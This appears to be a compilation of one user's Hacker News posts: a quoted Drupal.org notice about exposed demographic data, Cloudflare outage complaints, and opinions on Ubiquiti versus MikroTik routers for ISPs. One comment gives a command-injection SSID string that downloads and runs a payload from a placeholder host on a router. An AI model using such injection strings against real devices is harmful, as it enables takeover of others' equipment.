I haven't yet run into this limit...

---

You are receiving this message because private information on your Drupal.org user account may have been exposed

Hello milankragujevic,

You're receiving this message because some of your PII was unintentionally accessible on the public internet.

On 2024-07-02 the new Drupal.org/jsonapi endpoint was launched.

Unfortunately the demographic information user field which should have been restricted as private was made publicly available at this API endpoint by an error on our part. It was discovered on 2024-10-15 and resolved within hours.

We have no evidence of scraping of this data by any malicious actors.

During the time period that this field was mistakenly made public, 17 unique IP addresses made 28 queries to the user API endpoint. Most of those viewed only a single page of 50 user records, while 2 viewed 2 pages, or 100 user records. It is possible that none of the returned records had any data in this private field, but out of an abundance of caution we are notifying any user who might have been affected.

A maximum of 1400 users may have been affected by this issue in total, but more likely it was less than 100 users, most of whom had not filled out the demographic field at all.

The issue is now resolved, with the information no longer publicly accessible.

Your data which may have been exposed included:

Demographic information Which could be associated with any of your public user information from your Drupal.org profile.

We sincerely apologize. We take the security and privacy of your data very seriously, and treat your data in accordance with our Terms of Service and Privacy Policy, in compliance with all relevant regulations and ordinances, such as GDPR.

If you choose to, you can delete the information in the Demographic field on your Drupal.org profile by editing your account on Drupal.org. You can also remove your account from Drupal.org at any time, by following the instructions in our documentation.

Best Regards,

The Drupal Association Engineering Team

---

The "Demographic information" that the refer to, in the email, is described here: https://www.drupal.org/drupalorg/docs/user-accounts/demographic-information and includes: Ability, Age, Ethnicity, Gender, Gender identity, Race, Religion, Sexual orientation, Socio-economic status/class, Learning differences, Family composition

Comments URL: https://news.ycombinator.com/item?id=41864160

Points: 5

# Comments: 2

Comments URL: https://news.ycombinator.com/item?id=41058611

Points: 2

# Comments: 0

At first when I noticed timeouts and slow response, I assumed it was due to my connection or my server. However, after checking on apache, it seems some requests aren't going through at all.

I checked the CF status page at the time, there wasn't this notice, but now there is. I hope this gets resolved soon.

Not to mention Big Tech got its start in the USA before the EU existed.

If the CPE is sufficiently poorly designed, it might be vulnerable to command injection attacks, so by changing the WiFi SSID to something like "'; wget http://bla/payload -O /tmp/bla; chmod +x /tmp/bla; /tmp/bla; #" you could execute a command on the device.

Alcatel's HH40V and HH41V as well as ZTE MF283+ LTE modems are a recent example I can remember where I got root SSH access by injecting commands from the admin WebUI.

https://github.com/err4o4/spotify-car-thing-reverse-engineer...

It seems that standard practice would dictate that you sign an NDA before even signing the employment contract.

However, there is only a limited "Quick Settings" option, which supports most basic configurations. For anything more advanced, you do actually have to set it up yourself.

However, the problem with recommending Ubiquiti in the context of an ISP, is that once you hit a wall with it, you are done. You cannot change things that are not supported to be changed, you cannot make it do something it was not "designed" to do.

On Ubiquiti, you can ssh into the VyOS-derived OS on the EdgeRouter (if talking about EdgeOS), but anything you do there cannot be accessed from the webui anymore, and changing anything in the webui will of course destroy what you changed manually over SSH.

At that point, you have an offbrand Linux router that is hindering you, and you either go with MikroTik or upgrade to Cisco equipment. But that Ubiquiti is going on a shelf.

In general, it's quite different running an ISP and running a homelab.

With MikroTik, you can make ANYTHING and everything. And there is no paywall for additional features like some vendors.

Finally, to underline my point, it is required to learn MikroTik's RouterOS before starting an ISP, if you don't want to end up with problems.

Comments URL: https://news.ycombinator.com/item?id=39984867

Points: 1

# Comments: 1